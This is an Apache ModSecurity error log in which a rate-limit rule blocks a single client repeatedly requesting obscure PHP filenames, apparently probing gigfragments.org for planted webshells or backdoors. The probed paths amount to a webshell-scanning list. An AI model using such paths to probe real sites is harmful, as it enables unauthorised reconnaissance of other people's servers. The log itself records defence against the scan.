[Fri May 08 23:59:51.674639 2026] [:error] [pid 51007:tid 51031] [client 20.238.36.81:17612] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i6z19N.php"] [unique_id "af4Id1MagSGstWKyzzULzQAAAAk"]
[Fri May 08 23:59:52.172831 2026] [:error] [pid 51007:tid 51036] [client 20.238.36.81:18021] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i6z19N.php"] [unique_id "af4IeFMagSGstWKyzzULzgAAAA4"]
[Fri May 08 23:59:52.728527 2026] [:error] [pid 34318:tid 34339] [client 20.238.36.81:16544] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i6z19N.php"] [unique_id "af4IeMr3guirgJiKhzD10gAAARM"]
[Fri May 08 23:59:53.260344 2026] [:error] [pid 61356:tid 61404] [client 20.238.36.81:13473] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i6z19N.php"] [unique_id "af4IeYx3vpB8oWhUq2MAGwAAAdA"]
[Fri May 08 23:59:53.826577 2026] [:error] [pid 61356:tid 61397] [client 20.238.36.81:9212] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clque.php"] [unique_id "af4IeYx3vpB8oWhUq2MAHQAAAck"]
[Fri May 08 23:59:54.370695 2026] [:error] [pid 61356:tid 61395] [client 20.238.36.81:5308] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clque.php"] [unique_id "af4Ieox3vpB8oWhUq2MAIQAAAcc"]
[Fri May 08 23:59:54.886168 2026] [:error] [pid 61356:tid 61410] [client 20.238.36.81:5631] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clque.php"] [unique_id "af4Ieox3vpB8oWhUq2MAIwAAAdY"]
[Fri May 08 23:59:55.420272 2026] [:error] [pid 51007:tid 51030] [client 20.238.36.81:18006] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clque.php"] [unique_id "af4Ie1MagSGstWKyzzUL0gAAAAg"]
[Fri May 08 23:59:55.953579 2026] [:error] [pid 51008:tid 51061] [client 20.238.36.81:5578] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ver.php"] [unique_id "af4Ie3B58C2Y1tgLtuLFhgAAAEw"]
[Fri May 08 23:59:56.471172 2026] [:error] [pid 34318:tid 34324] [client 20.238.36.81:18027] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ver.php"] [unique_id "af4IfMr3guirgJiKhzD11gAAAQQ"]
[Fri May 08 23:59:57.031670 2026] [:error] [pid 51113:tid 51136] [client 20.238.36.81:16564] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ver.php"] [unique_id "af4IfUQfs7sWtqkpQIePPwAAANU"]
[Fri May 08 23:59:57.573143 2026] [:error] [pid 51009:tid 51092] [client 20.238.36.81:2644] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ver.php"] [unique_id "af4IfeB0GbUWhxgzX9VxlAAAAJA"]
[Fri May 08 23:59:58.073606 2026] [:error] [pid 51009:tid 51086] [client 20.238.36.81:7946] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wert.php"] [unique_id "af4IfuB0GbUWhxgzX9VxlQAAAIo"]
[Fri May 08 23:59:58.588499 2026] [:error] [pid 51009:tid 51098] [client 20.238.36.81:6457] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wert.php"] [unique_id "af4IfuB0GbUWhxgzX9VxlwAAAJY"]
[Fri May 08 23:59:59.136437 2026] [:error] [pid 61355:tid 61361] [client 20.238.36.81:17637] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wert.php"] [unique_id "af4If_khJTi30CBXmMn6ugAAAYA"]
[Fri May 08 23:59:59.653638 2026] [:error] [pid 61317:tid 61337] [client 20.238.36.81:5732] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wert.php"] [unique_id "af4If8-fFk_CedOCOYvxAwAAAVE"]
[Sat May 09 00:00:00.167640 2026] [:error] [pid 61317:tid 61342] [client 20.238.36.81:18224] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "af4IgM-fFk_CedOCOYvxBAAAAVY"]
[Sat May 09 00:00:00.715918 2026] [:error] [pid 61355:tid 61362] [client 20.238.36.81:12484] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "af4IgPkhJTi30CBXmMn6uwAAAYE"]
[Sat May 09 00:00:01.232712 2026] [:error] [pid 61355:tid 61375] [client 20.238.36.81:8519] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "af4IgfkhJTi30CBXmMn6vQAAAY4"]
[Sat May 09 00:00:01.781389 2026] [:error] [pid 61317:tid 61343] [client 20.238.36.81:12509] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "af4Igc-fFk_CedOCOYvxBQAAAVc"]
[Sat May 09 00:00:02.345791 2026] [:error] [pid 51007:tid 51033] [client 20.238.36.81:17643] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "af4IglMagSGstWKyzzUL4QAAAAs"]
[Sat May 09 00:00:02.893761 2026] [:error] [pid 51007:tid 51030] [client 20.238.36.81:8569] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "af4IglMagSGstWKyzzUL4gAAAAg"]
[Sat May 09 00:00:03.439320 2026] [:error] [pid 61317:tid 61326] [client 20.238.36.81:9416] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "af4Ig8-fFk_CedOCOYvxDAAAAUY"]
[Sat May 09 00:00:03.982984 2026] [:error] [pid 61317:tid 61338] [client 20.238.36.81:5735] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "af4Ig8-fFk_CedOCOYvxDgAAAVI"]
[Sat May 09 00:00:04.540030 2026] [:error] [pid 61356:tid 61403] [client 20.238.36.81:18222] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xslclbn.php"] [unique_id "af4IhIx3vpB8oWhUq2MASQAAAc8"]
[Sat May 09 00:00:05.099205 2026] [:error] [pid 61356:tid 61411] [client 20.238.36.81:13492] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xslclbn.php"] [unique_id "af4IhYx3vpB8oWhUq2MAUAAAAdc"]
[Sat May 09 00:00:05.649843 2026] [:error] [pid 61317:tid 61333] [client 20.238.36.81:3133] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xslclbn.php"] [unique_id "af4Ihc-fFk_CedOCOYvxEAAAAU0"]
[Sat May 09 00:00:06.181677 2026] [:error] [pid 51008:tid 51069] [client 20.238.36.81:6401] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xslclbn.php"] [unique_id "af4IhnB58C2Y1tgLtuLFiwAAAFQ"]
[Sat May 09 00:00:06.728048 2026] [:error] [pid 61355:tid 61383] [client 20.238.36.81:6419] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/less.php"] [unique_id "af4IhvkhJTi30CBXmMn6vwAAAZY"]
[Sat May 09 00:00:07.285937 2026] [:error] [pid 61356:tid 61403] [client 20.238.36.81:2643] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/less.php"] [unique_id "af4Ih4x3vpB8oWhUq2MAWgAAAc8"]
[Sat May 09 00:00:07.806583 2026] [:error] [pid 61355:tid 61376] [client 20.238.36.81:14485] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/less.php"] [unique_id "af4Ih_khJTi30CBXmMn6wQAAAY8"]
[Sat May 09 00:00:08.375192 2026] [:error] [pid 61355:tid 61365] [client 20.238.36.81:2671] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/less.php"] [unique_id "af4IiPkhJTi30CBXmMn6wgAAAYQ"]
[Sat May 09 00:00:08.892820 2026] [:error] [pid 61317:tid 61343] [client 20.238.36.81:6426] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albrt.php"] [unique_id "af4IiM-fFk_CedOCOYvxFAAAAVc"]
[Sat May 09 00:00:09.446294 2026] [:error] [pid 61356:tid 61391] [client 20.238.36.81:5271] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albrt.php"] [unique_id "af4IiYx3vpB8oWhUq2MAZgAAAcM"]
[Sat May 09 00:00:09.992003 2026] [:error] [pid 61356:tid 61399] [client 20.238.36.81:16564] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albrt.php"] [unique_id "af4IiYx3vpB8oWhUq2MAagAAAcs"]
[Sat May 09 00:00:10.547593 2026] [:error] [pid 51008:tid 51072] [client 20.238.36.81:5622] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albrt.php"] [unique_id "af4IinB58C2Y1tgLtuLFjAAAAFc"]
[Sat May 09 00:00:11.059311 2026] [:error] [pid 34318:tid 34322] [client 20.238.36.81:1974] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "af4Ii8r3guirgJiKhzD12gAAAQI"]
[Sat May 09 00:00:11.562652 2026] [:error] [pid 61355:tid 61377] [client 20.238.36.81:5290] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "af4Ii_khJTi30CBXmMn6xQAAAZA"]
[Sat May 09 00:00:12.097636 2026] [:error] [pid 61356:tid 61406] [client 20.238.36.81:18466] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "af4IjIx3vpB8oWhUq2MAcgAAAdI"]
[Sat May 09 00:00:12.613981 2026] [:error] [pid 61355:tid 61381] [client 20.238.36.81:16530] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "af4IjPkhJTi30CBXmMn6xwAAAZQ"]
[Sat May 09 00:00:13.179354 2026] [:error] [pid 61355:tid 61361] [client 20.238.36.81:3121] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an8.php"] [unique_id "af4IjfkhJTi30CBXmMn6yAAAAYA"]
[Sat May 09 00:00:13.727777 2026] [:error] [pid 61355:tid 61368] [client 20.238.36.81:9470] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an8.php"] [unique_id "af4IjfkhJTi30CBXmMn6zAAAAYc"]
[Sat May 09 00:00:14.279470 2026] [:error] [pid 61355:tid 61376] [client 20.238.36.81:13479] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an8.php"] [unique_id "af4IjvkhJTi30CBXmMn60AAAAY8"]
[Sat May 09 00:00:14.796141 2026] [:error] [pid 61355:tid 61365] [client 20.238.36.81:18233] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an8.php"] [unique_id "af4IjvkhJTi30CBXmMn60wAAAYQ"]
[Sat May 09 00:00:15.316896 2026] [:error] [pid 51009:tid 51076] [client 20.238.36.81:5985] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "af4Ij-B0GbUWhxgzX9VxsAAAAIA"]
[Sat May 09 00:00:15.878312 2026] [:error] [pid 51007:tid 51028] [client 20.238.36.81:12071] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "af4Ij1MagSGstWKyzzUL-gAAAAY"]
[Sat May 09 00:00:16.401818 2026] [:error] [pid 51007:tid 51045] [client 20.238.36.81:10067] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "af4IkFMagSGstWKyzzUL_AAAABc"]
[Sat May 09 00:00:16.943990 2026] [:error] [pid 61355:tid 61381] [client 20.238.36.81:17604] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "af4IkPkhJTi30CBXmMn61gAAAZQ"]
[Sat May 09 00:00:17.486190 2026] [:error] [pid 51008:tid 51060] [client 20.238.36.81:13468] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq.php"] [unique_id "af4IkXB58C2Y1tgLtuLFjwAAAEs"]
[Sat May 09 00:00:18.028554 2026] [:error] [pid 51007:tid 51036] [client 20.238.36.81:5616] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq.php"] [unique_id "af4IklMagSGstWKyzzUL_wAAAA4"]
[Sat May 09 00:00:18.555923 2026] [:error] [pid 51007:tid 51040] [client 20.238.36.81:10768] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq.php"] [unique_id "af4IklMagSGstWKyzzUMAAAAABI"]
[Sat May 09 00:00:19.074387 2026] [:error] [pid 51009:tid 51097] [client 20.238.36.81:5267] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq.php"] [unique_id "af4Ik-B0GbUWhxgzX9VxuAAAAJU"]
[Sat May 09 00:00:19.574379 2026] [:error] [pid 61355:tid 61362] [client 20.238.36.81:14498] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "af4Ik_khJTi30CBXmMn61wAAAYE"]
[Sat May 09 00:00:20.075907 2026] [:error] [pid 51009:tid 51081] [client 20.238.36.81:13597] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "af4IlOB0GbUWhxgzX9VxvAAAAIU"]
[Sat May 09 00:00:20.597327 2026] [:error] [pid 61355:tid 61371] [client 20.238.36.81:10814] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "af4IlPkhJTi30CBXmMn62QAAAYo"]
[Sat May 09 00:00:21.095525 2026] [:error] [pid 61355:tid 61378] [client 20.238.36.81:14474] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "af4IlfkhJTi30CBXmMn62gAAAZE"]
[Sat May 09 00:00:21.593168 2026] [:error] [pid 61355:tid 61375] [client 20.238.36.81:5961] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55.php"] [unique_id "af4IlfkhJTi30CBXmMn63AAAAY4"]
